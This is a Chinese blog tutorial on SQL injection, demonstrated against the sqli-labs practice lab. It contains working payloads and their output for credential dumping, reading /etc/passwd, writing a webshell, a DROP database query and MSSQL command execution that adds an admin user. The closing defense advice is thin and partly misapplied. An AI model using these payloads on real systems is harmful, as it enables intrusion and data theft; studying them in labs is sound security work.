SQL注入攻擊與防御

SQL注入是什么

SQL注入是一種將SQL代碼插入或添加到應(yīng)用(用戶)的輸入?yún)?shù)中的攻擊,之后再將這些參數(shù)傳遞給后臺的SQL服務(wù)器加以解析并執(zhí)行。

SQL注入漏洞產(chǎn)生原理

對構(gòu)造成SQL語句的變量,過濾不嚴(yán)格,造成可以構(gòu)造任意的SQL語句,傳遞到數(shù)據(jù)庫執(zhí)行。

哪里能夠引發(fā)SQL注入

  • get query string
  • port string
  • http header

SQL注入分類

  • UNION query SQL injection(可聯(lián)合查詢注入)
  • Boolean-based blind SQL injection(布爾型注入)
  • Error-based SQL injection(報錯型注入)
  • Stacked queries SQL injection(可多語句查詢注入)
  • Time-based blind SQL injection(基于時間延遲注入)

如何判斷SQL注入

'
\
and 1=1  / and 1=2
+1 / -1
and sleep(5)
………

SQL注入利用手法

UNION query SQL injection(可聯(lián)合查詢注入)

優(yōu)點

方便 易于利用 快捷

缺點

要求網(wǎng)站沒有過濾關(guān)鍵字 沒有轉(zhuǎn)義 有顯示位

利用

判斷是否能注入及注入類型

http://www.2.my/sqli-labs-master/Less-1/index.php?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

near '(')1'(') LIMIT 0,1' at
說明是字符型

http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and '1' = '1
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and 1 = 1 --+
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and 1 = 1 --%20

返回正常

http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and '1' = '2

返回錯誤


判斷列數(shù)

http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' ORDER BY 1,2,3 --+

返回正常

http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' ORDER BY 1,2,3,4 --+

報錯

Unknown column '4' in 'order clause'
說明有3列


獲取所有數(shù)據(jù)庫

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,group_concat(schema_name),3 FROM information_schema.schemata --+

Your Login name:information_schema,challenges,mysql,performance_schema,security,test
Your Password:3


獲取所有表名

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+

Your Login name:2
Your Password:emails,referers,uagents,users


獲取所有列名

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name='users' --+

Your Login name:2
Your Password:id,username,password


字段查詢

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,group_concat(id,0x7e,username,0x7e,password) FROM users --+

Your Login name:2
Your Password:1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5~stupid…


文件讀取

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,hex(LOAD_FILE('/etc/passwd')) --+

Your Login name:2
Your Password:3131313131313131


文件寫入

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,'<?php xxxxxxx ?>' INTO OUTFILE '/var/www/html/shell.php' --+

Error-based SQL injection(報錯型注入)

優(yōu)點

良好的效果 語句固定

缺點

需要腳本輸出 sql錯誤信息

利用

rand()函數(shù)是生成0-1之間的小數(shù)隨機值,rand()*2是生成0-2之間的小數(shù)隨機數(shù),floor(rand()*2)就相當(dāng)于生成0/1兩個隨機值


1、

?id=-1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),0x3a,database())x FROM information_schema.tables GROUP BY x)a)--+

結(jié)果:
Duplicate entry '1:security' for key 'group_key'

還可以用
left(RAND(0),3)
right(RAND(0),1)
ceil(rand(0)*2)


2、

?id=-1' and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+

XPATH syntax error: '~information_schema,challenges,d'

數(shù)據(jù)有限


3、

?id=-1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

4、

分享完添加

Boolean-based blind SQL injection(布爾型注入)

優(yōu)點

良好的效果 利用條件不難

缺點

工作量大 需要時間

利用

length()函數(shù)

mysql> select length("1234567890");
+----------------------+
| length("1234567890") |
+----------------------+
| 10 |
+----------------------+
1 row in set (0.00 sec)


因為
mysql> select length(database()) > 1;
+------------------------+
| length(database()) > 1 |
+------------------------+
| 1 |
+------------------------+

所以有

?id=1' and length(database())>1 --+ 成立
?id=1' and length(user())>1 --+ 成立

mysql> select (select count(*) from users where length(id)) > 0;
+---------------------------------------------------+
| (select count(**) from users where length(id)) > 0 |
+---------------------------------------------------+
| 1 |
+---------------------------------------------------+
證明 users 表存在
.......


substr()函數(shù)
substr(string,start,length)
string - 指定的要截取的字符串。
start - 必需,規(guī)定在字符串的何處開始。正數(shù) - 在字符串的指定位置開始,負(fù)數(shù) - 在從字符串結(jié)尾的指定位置開始,0 - 在字符串中的第一個字符處開始。
length - 可選,指定要截取的字符串長度,缺省時返回字符表達(dá)式的值結(jié)束前的全部字符。

例、
mysql> select substr("1234567890",1,3);
+--------------------------+
| substr("1234567890",1,3) |
+--------------------------+
| 123 |
+--------------------------+
1 row in set (0.00 sec)


因為
mysql> select "a" = "a";
+-----------+
| "a" = "a" |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)


所以
?id=1' and substr(database(),1,1)="s"--+


ascii()函數(shù)
ASCII(str)
返回最左邊的字符的字符串str的數(shù)值。
// ord()

mysql> select ascii("a");
+------------+
| ascii("a") |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)


所以
?id=1' and ascii(substr(database(),1,1)) = 115--+


其他:

MAKE_SET(bits,str1,str2,...)

返回一組值(包含子字符串分隔,字符)組成的字符串有相應(yīng)的位設(shè)置位。str1的對應(yīng)于str2的位0,位1,依此類推。在str1,str2中,NULL值...不添加到結(jié)果。


mysql> SELECT MAKE_SET(1,(version()));
+-------------------------+
| MAKE_SET(1,(version())) |
+-------------------------+
| 5.5.47 |
+-------------------------+
1 row in set (0.00 sec)

ELT(N,str1,str2,str3,...)

如果N =1返回str1,如果N= 2返回str2,

等等。

Stacked queries SQL injection(可多語句查詢注入)

優(yōu)點

利于構(gòu)造語句

缺點

有的數(shù)據(jù)庫不支持

圖片名稱
利用

構(gòu)成語句:SELECT * FROM products WHERE id = 10; DROP database --
這在執(zhí)行完正常查詢之后將會執(zhí)行DROP查詢。

Time-based blind SQL injection(基于時間延遲注入)

優(yōu)點

可以在條件很苛刻的情況下注入(無報錯,無顯示位)

缺點

非常費時間

利用

IF(Condition,A,B)
當(dāng)Condition為TRUE時,返回A;當(dāng)Condition為FALSE時,返回B。

Condition 可以是bool注入的語句

例:
1"+and+if(1=1, sleep(10), null)+--+
1"+and+if(1=0, sleep(10), null)+--+

其他函數(shù)也可以利用:
'IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false))

偏移注入

優(yōu)點

你知道目標(biāo)表的一個字段,比如id,但是卻不知道其他字段

缺點

Union合并查詢需要列相等,順序一樣

利用

只知道id段 可以查出所有字段

mysql> select * from (users as a join users as b on a.id=b.id );
+----+----------+------------+----+----------+------------+
| id | username | password | id | username | password |
+----+----------+------------+----+----------+------------+
| 1 | Dumb | Dumb | 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you | 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword | 3 | Dummy | p@ssword |
。。。。。。。。
| 14 | admin4 | admin4 | 14 | admin4 | admin4 |
+----+----------+------------+----+----------+------------+
13 rows in set (0.00 sec)

寬字節(jié)注入

優(yōu)點

GB2312、GBK、GB18030、BIG5、Shift_JIS等這些寬字節(jié),如果開啟了轉(zhuǎn)義,可以繞過

缺點

條件苛刻

利用

'是%27
\是%5c

輸入%df%27
轉(zhuǎn)義為%df%5c%27

則MySQL用GBK的編碼時,會認(rèn)為 %df%5c 是一個2字節(jié)的寬字符(縗)
%df%5c%27 就成了 縗' 而沒有了 ' 最后單引號可以被閉合

?id=%bf%27 union select 1,2,database() --+

二次注入

優(yōu)點

數(shù)據(jù)輸入sql無法繞過時 數(shù)據(jù)取出時也可以注入

缺點

不容易發(fā)現(xiàn)

利用

注冊時用戶名為admin'--+

去更改密碼 語句為:
sql = "update users set password = '" + $newpassword + "' where username = '" + $username + "'";
變成:
$username = admin'--+
sql = "update users set password = 'admin'--+' where username = '" + $username + "'";

更改了admin的密碼

MySQL root 讀寫文件

優(yōu)點

可以獲取大量敏感信息 系統(tǒng)信息

缺點

利用
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,hex(LOAD_FILE('/etc/passwd')) --+
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,'<?php xxxxxxx ?>' INTO OUTFILE '/test.txt' --+

MSSQL sa 執(zhí)行命令

優(yōu)點

直接取得服務(wù)器權(quán)限

缺點

條件苛刻

利用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

漏洞修補方案

整型注入修補方案

在接受參數(shù)時,添加intval()函數(shù)進(jìn)行過濾
添加is_numeric

字符串注入修補方案

轉(zhuǎn)義:
htmlspecialchars()
mysqli_real_escape_string()
過濾:
過濾關(guān)鍵字 過濾特殊字符

by secevery

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 防御<待續(xù)>1、構(gòu)造動態(tài)字符串動態(tài)SQL語句是在執(zhí)行過程中構(gòu)造的,根據(jù)不同的條件產(chǎn)生不同的SQL語句。當(dāng)開發(fā)人員在...
    plutoG7閱讀 1,181評論 1 4
  • 1. Java基礎(chǔ)部分 基礎(chǔ)部分的順序:基本語法,類相關(guān)的語法,內(nèi)部類的語法,繼承相關(guān)的語法,異常的語法,線程的語...
    子非魚_t_閱讀 34,896評論 18 399
  • 算是系統(tǒng)的重新學(xué)一遍SQL了,把細(xì)節(jié)和運用在熟悉一遍 注入原因: 缺少用戶輸入驗證、數(shù)據(jù)和控制結(jié)構(gòu)混合在同一傳輸通...
    查無此人asdasd閱讀 293評論 0 0
  • sqlmap用戶手冊 說明:本文為轉(zhuǎn)載,對原文中一些明顯的拼寫錯誤進(jìn)行修正,并標(biāo)注對自己有用的信息。 ======...
    wind_飄閱讀 2,210評論 0 5
  • 2014-11-02 22:15:22 紫牙齒啃著果子的背 血和著唾液把紫色褪成一段離奇聲色 芝麻棵 田埂上簌簌作...
    四兩金閱讀 364評論 0 1

友情鏈接更多精彩內(nèi)容